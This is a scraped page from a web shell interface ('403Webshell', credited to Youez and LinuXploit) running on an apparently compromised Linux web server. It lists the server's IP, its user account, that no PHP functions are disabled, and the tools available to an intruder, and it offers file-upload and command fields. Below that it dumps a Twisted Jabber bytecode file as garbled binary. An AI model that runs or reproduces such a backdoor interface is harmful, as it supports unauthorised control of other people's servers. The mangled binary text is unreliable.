403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/ijabber.cpython-312.pyc
�

Ϫ�f����dZddlmZmZGd�de�ZGd�de�ZGd�de�ZGd	�d
e�ZGd�de�ZGd
�de�Z	y)z
Public Jabber Interfaces.
�)�	Attribute�	Interfacec��eZdZdZy)�IInitializerz�
    Interface for XML stream initializers.

    Initializers perform a step in getting the XML stream ready to be
    used for the exchange of XML stanzas.
    N)�__name__�
__module__�__qualname__�__doc__���H/usr/lib/python3/dist-packages/twisted/words/protocols/jabber/ijabber.pyrrs��rrc�&�eZdZdZed�Zd�Zy)�IInitiatingInitializerzJ
    Interface for XML stream initializers for the initiating entity.
    zThe associated XML streamc��y)z�
        Initiate the initialization step.

        May return a deferred when the initialization is done asynchronously.
        Nrrrr
�
initializez!IInitiatingInitializer.initialize��rN)rrr	r
r�	xmlstreamrrrr
rrs����9�:�I�rrc� �eZdZdZed�Zy)�IIQResponseTrackera�
    IQ response tracker interface.

    The XMPP stanza C{iq} has a request-response nature that fits
    naturally with deferreds. You send out a request and when the response
    comes back a deferred is fired.

    The L{twisted.words.protocols.jabber.client.IQ} class implements a C{send}
    method that returns a deferred. This deferred is put in a dictionary that
    is kept in an L{XmlStream} object, keyed by the request stanzas C{id}
    attribute.

    An object providing this interface (usually an instance of L{XmlStream}),
    keeps the said dictionary and sets observers on the iq stanzas of type
    C{result} and C{error} and lets the callback fire the associated deferred.
    z2Dictionary of deferreds waiting for an iq responseN)rrr	r
r�iqDeferredsrrr
rr#s���"�S�T�Krrc�T�eZdZdZed�Zed�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zy
)�IXMPPHandlerz�
    Interface for XMPP protocol handlers.

    Objects that provide this interface can be added to a stream manager to
    handle of (part of) an XMPP extension protocol.
    z#XML stream manager for this handlerzThe managed XML streamc��y)za
        Set the parent of the handler.

        @type parent: L{IXMPPHandlerCollection}
        Nr��parents r
�setHandlerParentzIXMPPHandler.setHandlerParentCrrc��y)zd
        Remove the parent of the handler.

        @type parent: L{IXMPPHandlerCollection}
        Nrrs r
�disownHandlerParentz IXMPPHandler.disownHandlerParentJrrc��y)aj
        A connection over the underlying transport of the XML stream has been
        established.

        At this point, no traffic has been exchanged over the XML stream
        given in C{xs}.

        This should setup L{xmlstream} and call L{connectionMade}.

        @type xs:
               L{twisted.words.protocols.jabber.xmlstream.XmlStream}
        Nr��xss r
�makeConnectionzIXMPPHandler.makeConnectionQrrc��y)z�
        Called after a connection has been established.

        This method can be used to change properties of the XML Stream, its
        authenticator or the stream manager prior to stream initialization
        (including authentication).
        Nrrrr
�connectionMadezIXMPPHandler.connectionMade_rrc��y)a
        The XML stream has been initialized.

        At this point, authentication was successful, and XML stanzas can be
        exchanged over the XML stream L{xmlstream}. This method can be
        used to setup observers for incoming stanzas.
        Nrrrr
�connectionInitializedz"IXMPPHandler.connectionInitializedhrrc��y)z�
        The XML stream has been closed.

        Subsequent use of C{parent.send} will result in data being queued
        until a new connection has been established.

        @type reason: L{twisted.python.failure.Failure}
        Nr)�reasons r
�connectionLostzIXMPPHandler.connectionLostqrrN)
rrr	r
rrrrrr"r$r&r)rrr
rr8s=����@�
A�F��6�7�I������rrc�"�eZdZdZd�Zd�Zd�Zy)�IXMPPHandlerCollectionz\
    Collection of handlers.

    Contain several handlers and manage their connection.
    c��y)z:
        Get an iterator over all child handlers.
        Nrrrr
�__iter__zIXMPPHandlerCollection.__iter__�rrc��y)zN
        Add a child handler.

        @type handler: L{IXMPPHandler}
        Nr��handlers r
�
addHandlerz!IXMPPHandlerCollection.addHandler�rrc��y)zQ
        Remove a child handler.

        @type handler: L{IXMPPHandler}
        Nrr/s r
�
removeHandlerz$IXMPPHandlerCollection.removeHandler�rrN)rrr	r
r-r1r3rrr
r+r+|s����
�rr+c�"�eZdZdZd�Zd�Zd�Zy)�IServicez�
    External server-side component service interface.

    Services that provide this interface can be added to L{ServiceManager} to
    implement (part of) the functionality of the server-side component.
    c��y)ax
        Parent component has established a connection.

        At this point, authentication was successful, and XML stanzas
        can be exchanged over the XML stream C{xs}. This method can be used
        to setup observers for incoming stanzas.

        @param xs: XML Stream that represents the established connection.
        @type xs: L{xmlstream.XmlStream}
        Nrr s r
�componentConnectedzIService.componentConnected�rrc��y)z�
        Parent component has lost the connection to the Jabber server.

        Subsequent use of C{self.parent.send} will result in data being
        queued until a new connection has been established.
        Nrrrr
�componentDisconnectedzIService.componentDisconnected�rrc��y)ay
        Parent component has established a connection over the underlying
        transport.

        At this point, no traffic has been exchanged over the XML stream. This
        method can be used to change properties of the XML Stream (in C{xs}),
        the service manager or it's authenticator prior to stream
        initialization (including authentication).
        Nrr s r
�transportConnectedzIService.transportConnected�rrN)rrr	r
r7r9r;rrr
r5r5�s���
��	rr5N)
r
�zope.interfacerrrrrrr+r5rrr
�<module>r=s\���0��9���\��U��U�*A�9�A�H�Y��6%�y�%r

Youez - 2016 - github.com/yon3zu
LinuXploit